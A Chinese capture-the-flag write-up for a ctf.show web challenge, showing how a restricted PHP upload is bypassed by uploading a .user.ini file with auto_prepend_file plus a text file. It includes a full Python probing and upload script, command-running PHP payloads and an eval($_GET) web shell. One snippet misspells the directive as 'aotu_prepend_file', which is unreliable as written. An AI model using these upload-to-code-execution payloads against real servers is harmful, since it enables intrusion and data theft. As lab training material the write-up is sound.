分类: web
文本: web
日期: 2026年6月11日

题目链接:https://ctf.show/challenges#web13-45

思考

文件上传和文件包含的区别:

  1. 文件上传:写入文件,利用服务器校验漏洞,将一个不该上传的文件上传到服务器
  2. 文件包含:让服务器读取或者执行我指定的文件
对比点 文件上传 文件包含
本质 上传文件到服务器 让服务器包含某个文件
核心动作 写入 读取 / 执行
常见入口 头像、附件、图片上传 ?page=xxx?file=xxx
关注点 后缀、MIME、文件头、解析规则 路径控制、目录穿越、包含方式
成功关键 上传的文件能否被解析执行 被包含的文件是否可控、是否被当代码执行
常见组合 图片马、.htaccess.user.ini 本地文件包含、远程文件包含、日志包含

测试

测试脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
import requests
import sys
from pathlib import Path

requests.packages.urllib3.disable_warnings()

TARGET = sys.argv[1].rstrip("/") if len(sys.argv) > 1 else "http://ce1652ff-0431-4bd2-a9a6-ba7f21af4c1c.challenge.ctf.show"

session = requests.Session()

def get(path):
url = TARGET + path
try:
r = session.get(url, timeout=8, verify=False)
print(f"\n[GET] {path}")
print(f"Status: {r.status_code}")
print(r.text[:1000])
return r
except Exception as e:
print(f"[!] GET {path} failed: {e}")
return None

def upload(filename, content, mime="text/plain"):
url = TARGET + "/upload.php"
files = {
"file": (filename, content, mime)
}

try:
r = session.post(url, files=files, timeout=8, verify=False)
print(f"\n[UPLOAD] {filename} | mime={mime} | size={len(content)}")
print(f"Status: {r.status_code}")
print(r.text[:1000])
return r
except Exception as e:
print(f"[!] Upload {filename} failed: {e}")
return None

def banner(title):
print("\n" + "=" * 60)
print(title)
print("=" * 60)

def main():
banner("1. 基础连通性测试")
get("/")
get("/index.php")
get("/upload.php")

banner("2. 尝试源码泄露")
bak_paths = [
"/upload.php.bak",
"/upload.php~",
"/upload.phps",
"/.index.php.swp",
"/.upload.php.swp",
"/index.php.bak",
]

for path in bak_paths:
r = get(path)
if r and r.status_code == 200 and len(r.text.strip()) > 0:
print(f"[+] 可能存在源码泄露: {path}")

banner("3. 测试常见后缀是否允许上传")

test_files = [
("a.jpg", b"test", "image/jpeg"),
("a.png", b"test", "image/png"),
("a.gif", b"GIF89a", "image/gif"),
("a.txt", b"test", "text/plain"),
("a.php", b"<?php phpinfo();?>", "application/octet-stream"),
("a.phtml", b"<?php phpinfo();?>", "application/octet-stream"),
("a.php.jpg", b"<?php phpinfo();?>", "image/jpeg"),
("a.jpg.php", b"<?php phpinfo();?>", "image/jpeg"),
(".user.ini", b"auto_prepend_file=a.txt", "text/plain"),
(".htaccess", b"SetHandler application/x-httpd-php", "text/plain"),
]

for filename, content, mime in test_files:
upload(filename, content, mime)

banner("4. 尝试 .user.ini 利用链")

user_ini = b"auto_prepend_file=a.txt"
payload = b"<?=`cat /f*`?>"

upload(".user.ini", user_ini, "text/plain")
upload("a.txt", payload, "text/plain")

print("\n[*] 触发 index.php:")
r = get("/index.php")

if r and ("ctfshow{" in r.text or "flag{" in r.text or "ctf{" in r.text):
print("[+] 疑似拿到 flag!")
else:
print("[!] index.php 暂未看到 flag,继续触发 upload.php:")
get("/upload.php")

banner("5. 常见上传目录探测")

dirs = [
"/uploads/",
"/upload/",
"/files/",
"/images/",
"/static/uploads/",
"/upload/a.txt",
"/uploads/a.txt",
"/files/a.txt",
]

for path in dirs:
get(path)

if __name__ == "__main__":
main()

运行脚本,分析源码泄漏得到限制条件:

这里的源码泄漏文件是备份文件upload.php.bak

$size > 24
strlen($filename)>9
strlen($ext_suffix)>3
后缀不能包含 php
文件名不能包含 php
move_uploaded_file($temp_name, ‘./‘.$filename)


分析

环境是Nginx + PHP/7.3.11

PHP-FPM / CGI 环境下,PHP 会读取当前目录里的 .user.ini 配置文件。.user.ini 可以设置一些 PHP 配置项如:

1
auto_prepend_file=xxx

这就是为什么我们不是传 shell.php,而是传:

1
2
.user.ini
a.txt

所以这里我们上传.user.ini文件,其内容为:

1
aotu_prepend_file=a.txt

a.txt的内容是:

1
<?php eval($_GET['a']);

逻辑拆解:

1
/?a=system("ls");
获得目录下的所有文件: ![](https://a1.boltp.com/2026/06/11/6a2acaa90d1ec.png) 然后查看目标文件:
1
/?a=highlight_file('903c00105c0141fd37ff47697e916e53616e33a72fb3774ab213b3e2a732f56f.php');
执行后即可获得flag: ![](https://a1.boltp.com/2026/06/11/6a2acb8466357.png) --- ### 考点重新归纳 受限文件上传+源码备份泄漏+.user.ini自动包含执行